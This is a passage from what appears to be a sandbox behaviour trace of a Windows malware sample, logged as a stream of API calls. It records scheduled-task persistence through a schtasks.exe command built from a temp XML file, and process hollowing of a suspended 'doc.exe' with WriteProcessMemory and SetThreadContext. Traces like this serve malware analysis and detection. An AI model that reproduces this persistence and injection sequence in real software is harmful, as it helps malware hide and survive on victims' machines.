CoTaskMemAlloc (cb=0x20c) returned 0x417200 [0285.778] GetTempFileNameW (in: lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpPrefixString="tmp", uUnique=0x0, lpTempFileName=0x417200 | out: lpTempFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp6692.tmp")) returned 0x6692 [0285.781] CoTaskMemFree (pv=0x417200) [0285.793] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp", nBufferLength=0x105, lpBuffer=0x1cdff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp", lpFilePart=0x0) returned 0x31 [0285.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce508) returned 1 [0285.793] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp6692.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x288 [0285.793] GetFileType (hFile=0x288) returned 0x1 [0285.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce504) returned 1 [0285.793] GetFileType (hFile=0x288) returned 0x1 [0285.842] WriteFile (in: hFile=0x288, lpBuffer=0x285af2c*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x1ce594, lpOverlapped=0x0 | out: lpBuffer=0x285af2c*, lpNumberOfBytesWritten=0x1ce594*=0x66a, lpOverlapped=0x0) returned 1 [0285.844] CloseHandle (hObject=0x288) returned 1 [0285.863] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x414990 [0285.863] LocalAlloc (uFlags=0x0, uBytes=0xb0) returned 0x419a30 [0285.864] ShellExecuteExW (in: pExecInfo=0x285c2c0*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="schtasks.exe", lpParameters="/Create /TN \"Updates\\maBdogbw\" /XML \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp\"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x285c2c0*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="schtasks.exe", lpParameters="/Create /TN \"Updates\\maBdogbw\" /XML \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp\"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x344)) returned 1 [0286.532] LocalFree (hMem=0x414990) returned 0x0 [0286.532] LocalFree (hMem=0x419a30) returned 0x0 [0286.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp", nBufferLength=0x105, lpBuffer=0x1ce150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp", lpFilePart=0x0) returned 0x31 [0286.538] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp6692.tmp")) returned 1 [0287.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", cchWideChar=42, lpMultiByteStr=0x1ce34c, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exeÑ", lpUsedDefaultChar=0x0) returned 42 [0287.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x1ce348, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4\x7fÑ", lpUsedDefaultChar=0x0) returned 0 [0287.194] CreateProcessA (in: lpApplicationName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpCommandLine="", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x1ce3d4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ce6c0 | out: lpCommandLine="", lpProcessInformation=0x1ce6c0*(hProcess=0x334, hThread=0x338, dwProcessId=0xf30, dwThreadId=0xf2c)) returned 1 [0287.203] CoTaskMemFree (pv=0x0) [0287.386] GetThreadContext (in: hThread=0x338, lpContext=0x285c3ec | out: lpContext=0x285c3ec*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x13d26f2, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0287.387] ReadProcessMemory (in: hProcess=0x334, lpBaseAddress=0x7efde008, lpBuffer=0x1ce6b0, nSize=0x4, lpNumberOfBytesRead=0x1ce6f4 | out: lpBuffer=0x1ce6b0*, lpNumberOfBytesRead=0x1ce6f4*=0x4) returned 1 [0287.390] VirtualAllocEx (hProcess=0x334, lpAddress=0x400000, dwSize=0x154000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0287.400] WriteProcessMemory (in: hProcess=0x334, lpBaseAddress=0x400000, lpBuffer=0x3af2840*, nSize=0x400, lpNumberOfBytesWritten=0x1ce6f4 | out: lpBuffer=0x3af2840*, lpNumberOfBytesWritten=0x1ce6f4*=0x400) returned 1 [0287.555] WriteProcessMemory (in: hProcess=0x334, lpBaseAddress=0x401000, lpBuffer=0x285c6d0*, nSize=0x13000, lpNumberOfBytesWritten=0x1ce6f4 | out: lpBuffer=0x285c6d0*, lpNumberOfBytesWritten=0x1ce6f4*=0x13000) returned 1 [0287.812] WriteProcessMemory (in: hProcess=0x334, lpBaseAddress=0x414000, lpBuffer=0x286f6e8*, nSize=0x4a00, lpNumberOfBytesWritten=0x1ce6f4 | out: lpBuffer=0x286f6e8*, lpNumberOfBytesWritten=0x1ce6f4*=0x4a00) returned 1 [0287.841] WriteProcessMemory (in: hProcess=0x334, lpBaseAddress=0x419000, lpBuffer=0x28740f4*, nSize=0x600, lpNumberOfBytesWritten=0x1ce6f4 | out: lpBuffer=0x28740f4*, lpNumberOfBytesWritten=0x1ce6f4*=0x600) returned 1 [0287.966] WriteProcessMemory (in: hProcess=0x334, lpBaseAddress=0x54f000, lpBuffer=0x287470c*, nSize=0x2e00, lpNumberOfBytesWritten=0x1ce6f4 | out: lpBuffer=0x287470c*, lpNumberOfBytesWritten=0x1ce6f4*=0x2e00) returned 1 [0287.989] WriteProcessMemory (in: hProcess=0x334, lpBaseAddress=0x552000, lpBuffer=0x2877524*, nSize=0x1000, lpNumberOfBytesWritten=0x1ce6f4 | out: lpBuffer=0x2877524*, lpNumberOfBytesWritten=0x1ce6f4*=0x1000) returned 1 [0288.104] WriteProcessMemory (in: hProcess=0x334, lpBaseAddress=0x553000, lpBuffer=0x2878530*, nSize=0x200, lpNumberOfBytesWritten=0x1ce6f4 | out: lpBuffer=0x2878530*, lpNumberOfBytesWritten=0x1ce6f4*=0x200) returned 1 [0288.249] WriteProcessMemory (in: hProcess=0x334, lpBaseAddress=0x7efde008, lpBuffer=0x287873c*, nSize=0x4, lpNumberOfBytesWritten=0x1ce6f4 | out: lpBuffer=0x287873c*, lpNumberOfBytesWritten=0x1ce6f4*=0x4) returned 1 [0288.259] SetThreadContext (hThread=0x338, lpContext=0x285c3ec*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x405ce2, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0288.263] ResumeThread (hThread=0x338) returned 0x1 [0288.349] CoGetContextToken (in: pToken=0x1cead4 | out: pToken=0x1cead4) returned 0x0 [0288.349] CObjectContext::QueryInterface () returned 0x0 [0288.349] CObjectContext::GetCurrentThreadType () returned 0x0 [0288.349] Release () returned 0x0 [0288.617] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x34cb70*=0xac, lpdwindex=0x1ce984 | out: lpdwindex=0x1ce984) returned 0x0 Thread: id = 213 os_tid = 0x6a8 Thread: id = 214 os_tid = 0x660 [0201.679] CoGetContextToken (in: pToken=0xf2f8ec | out: pToken=0xf2f8ec) returned 0x800401f0 [0201.679] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0288.832] SetWindowLongW (hWnd=0x4024c, nIndex=-4, dwNewLong=2005870045) returned 6490366 [0288.833] SetClassLongW (hWnd=0x4024c, nIndex=-24, dwNewLong=2005870045) returned 0x6308d6 [0288.834] PostMessageW (hWnd=0x4024c, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0289.003] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0289.004] UnregisterClassW 